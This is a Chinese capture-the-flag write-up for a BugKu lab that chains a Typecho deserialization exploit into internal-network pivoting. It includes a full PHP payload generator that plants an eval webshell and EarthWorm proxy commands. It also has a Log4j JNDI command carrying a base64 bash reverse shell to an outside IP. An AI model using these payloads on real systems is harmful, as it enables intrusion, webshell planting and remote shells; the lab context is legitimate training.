BugKu-PAR-渗透测试2
字数 1368 2025-08-11 08:36:26
Typecho反序列化漏洞与内网渗透实战教学文档
1. 初始信息收集与漏洞利用
1.1 目录扫描与源码泄露
-
使用dirsearch扫描目录:
python3 dirsearch.py -u http://target.com -e *发现
.git目录泄露,表明存在源码泄露漏洞 -
利用GitHack工具下载源码:
python2 GitHack.py http://target.com/.git/下载后分析源码,确认目标系统为Typecho
1.2 Typecho反序列化漏洞利用
-
漏洞原理:
- Typecho存在反序列化漏洞,可导致远程代码执行
- 漏洞存在于
Typecho_Request和Typecho_Feed类的反序列化过程中
-
构造Payload:
<?php class Typecho_Request{ private $_params = array(); private $_filter = array(); public function __construct() { $this->_params['screenName'] = "echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+|base64 -d > 2.php"; $this->_filter[0] = 'system'; } } class Typecho_Feed{ const RSS2 = 'RSS 2.0'; const ATOM1 = 'ATOM 1.0'; const DATE_RFC822 = 'r'; const DATE_W3CDTF = 'c'; const EOL = "\n"; private $_type; private $_items = array(); public $dateFormat; public function __construct() { $this->_type = self::RSS2; $item['link'] = '1'; $item['title'] = '2'; $item['date'] = 1507720298; $item['author'] = new Typecho_Request(); $item['category'] = array(new Typecho_Request()); $this->_items[0] = $item; } } $x = new Typecho_Feed(); $a = array( 'host' => 'localhost', 'user' => 'xxxxxx', 'charset' => 'utf8', 'port' => '3306', 'database' => 'typecho', 'adapter' => $x, 'prefix' => 'typecho_' ); echo urlencode(base64_encode(serialize($a))); ?> -
利用步骤:
- 执行上述PHP脚本生成payload
- 将payload通过Cookie或其他方式提交到目标网站
- Payload会在网站根目录生成
2.php一句话木马文件
-
连接Webshell:
- 使用蚁剑连接
http://target.com/2.php - 密码为
1(根据payload中的$_POST[1])
- 使用蚁剑连接
2. 内网渗透与横向移动
2.1 内网信息收集
-
查找敏感文件:
- 在根目录发现flag文件
- 在web目录下发现
admin.ini.php,包含数据库凭据
-
数据库连接:
- 使用蚁剑的数据库插件连接MySQL
- 在数据库中查找flag
-
网络信息收集:
cat /etc/hosts ip addr netstat -tulnp
2.2 代理搭建与内网扫描
-
使用EarthWorm(EW)搭建代理:
Kali端执行:
./ew_for_linux64 -s rcsocks -l 1010 -e 7777- 在本地1010端口开启SOCKS5代理
目标机执行:
./ew_for_linux64 -s rssocks -d [Kali_IP] -e 8888 -
内网扫描:
- 上传
fscan到目标机:
./fscan_amd64 -h [内网地址段] > a.txt - 上传
2.3 Log4j漏洞利用
-
发现Log4j漏洞:
- 扫描发现内网Web应用
- 通过返回头提示发现源码文件名
- 下载源码分析确认Log4j漏洞
-
搭建JNDI服务:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80OS4yMzQuNTYuMjAwLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "49.234.56.200"- 替换base64编码为你的反弹shell命令
- 替换IP地址为你的VPS地址
-
触发漏洞:
${jndi:rmi://119.91.32.206:1099/fv304f}- 根据JNDI服务返回的URL修改
-
获取反弹Shell:
- 在VPS上开启监听:
nc -lvnp 6666
2.4 进一步内网渗透
-
信息收集:
cat /etc/hosts ip addr -
设置新代理:
- Kali端:
./ew_for_linux64 -s rcsocks -l 1000 -e 8888- 目标机:
./ew_for_linux64 -s rssocks -d [Kali_IP] -e 8888 -
发现Git仓库克隆功能:
- 创建包含恶意
.phtml文件的Git仓库 - 提交仓库地址让目标克隆
- 访问克隆后的
.phtml文件获取Webshell
- 创建包含恶意
-
FTP服务利用:
- 扫描发现FTP服务
- 使用
guest:guest登录
ftp [目标IP] ls get flag
3. Flag收集总结
-
Flag位置:
- Web根目录
- 数据库表中
- Log4j漏洞机器的根目录和/root目录
- 通过Git克隆功能获取的Webshell所在机器
- FTP服务中的文件
- 系统根目录
/下
-
关键技巧:
- 每次获取新机器后立即检查
/etc/hosts和网络配置 - 使用不同端口建立多级代理避免冲突
- 善用
fscan进行内网扫描 - 注意非常规文件扩展名(如
.phtml)的执行可能性
- 每次获取新机器后立即检查
4. 工具与资源
-
必要工具:
- dirsearch:目录扫描
- GitHack:.git泄露利用
- EarthWorm(EW):内网代理
- fscan:内网扫描
- JNDI-Injection-Exploit:Log4j漏洞利用
-
Payload生成:
- 反序列化Payload生成PHP脚本
- Base64编码的反弹Shell命令
-
监听工具:
- Netcat
- Socat
通过以上步骤,可以系统性地完成从外网到内网的渗透测试,并收集所有flag。